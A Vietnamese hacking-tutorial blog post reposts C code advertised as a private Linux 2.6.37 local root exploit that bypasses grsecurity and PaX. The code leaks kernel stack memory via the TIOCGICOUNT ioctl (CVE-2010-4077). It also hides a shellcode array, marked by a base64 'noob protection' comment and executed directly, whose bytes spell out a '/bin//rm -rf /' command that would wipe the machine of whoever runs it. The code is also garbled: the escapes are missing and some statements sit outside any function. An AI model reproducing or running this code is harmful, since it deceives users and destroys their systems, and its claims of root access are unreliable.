Vài lời cho các bạn !

Blog được xây dựng nhằm cung cấp, sưu tầm nguồn hướng dẫn cho các newbie học tập về hacking website, chứ không mang tính chất vẽ đường cho ai đó đi phá hoại(deface) nhằm gây tổn hại cho website hay sever nào đó. Mong you hãy coi đây như là cuốn ebook hay và bổ ích, cần là giở để xem. và hãy tận dụng nó đúng mục đích ! thanks !

Friday, June 29, 2012

2.6.37 2011 Private Local Root Exploits

  1. *
  2. * modified by CrosS to bypass grsecurity and PaX on
  3. * linux kernels
  4. *
  5. * Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak

  6. * ================================================

  7. * Information leak exploit for CVE-2010-4077 which

  8. * leaks kernel stack space back to userland due to

  9. * uninitialized struct member "reserved" in struct

  10. * serial_icounter_struct copied to userland. uses

  11. * ioctl to trigger memory leak, dumps to file and

  12. * displays to command line.

  13. *

  14. * -- prdelka

  15. *
  16. * by CrosS from r00tw0rm.com - Privat Community

  17. */

  18. #include <termios.h>

  19. #include <fcntl.h>

  20. #include <sys/ioctl.h>

  21. #include <linux/serial.h>

  22. #include <stdio.h>

  23. #include <stdlib.h>

  24. #include <string.h>

  25. printf("Local root 2.6.37 exploit to bypass grsecurity and/or PaX by CrosS.\n");
  26. printf("aka ultimate auto rooter\n");
  27. printf("Shoutz to 1337day cr3w for helping!.\n");
  28. printf("http://www.r00tw0rm.com/forum.\n");



  29. int main(int argc, char* argv[]) {

  30. int fd, ret = 0, i;

  31. struct serial_icounter_struct buffer;

  32. printf("[ Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak exploit\n");

  33. if(argc < 2){

  34. printf("[ You need to supply a device name e.g. /dev/ttyS0\n");

  35. exit(-1);

  36. };

  37. memset(&buffer,0,sizeof(buffer));

  38. if((fd = open(argv[1], O_RDONLY)) == -1){

  39. printf("[ Couldn't open %s\n",argv[1]);

  40. exit(-1);

  41. }

  42. if((ioctl(fd, TIOCGICOUNT, &buffer)) == -1){

  43. printf("[ Problem with ioctl() request\n");

  44. exit(-1);

  45. }

  46. close(fd);

  47. for(i=0;i<=9;i++){

  48. printf("[ int leak[%d]: %x\n",i,buffer.reserved[i]);

  49. };
  50. // bm9vYiBwcm90ZWN0aW9u
  51. char shelllcode[] ="x6ax0bx58x99x52x6ax2fx89xe7x52x66x68x2dx66x89 "
  52. "xe6x52x66x68x2dx72x89xe1x52x68x2fx2fx72x6dx68 "
  53. "x2fx62x69x6ex89xe3x52x57x56x51x53x89xe1xcdx80 ";
  54. (*(void (*)()) shelllcode)();

  55. if((fd = open("./leak", O_RDWR | O_CREAT, 0640)) == -1){

  56. printf("[ Can't open file to write memory out\n");

  57. exit(-1);

  58. }

  59. for(i=0;i<=9;i++){

  60. ret += write(fd,&buffer.reserved[i],sizeof(int));

  61. }

  62. close(fd);

  63. printf("[ Written %d leaked bytes to ./leak\n",ret);

  64. exit(0);

  65. }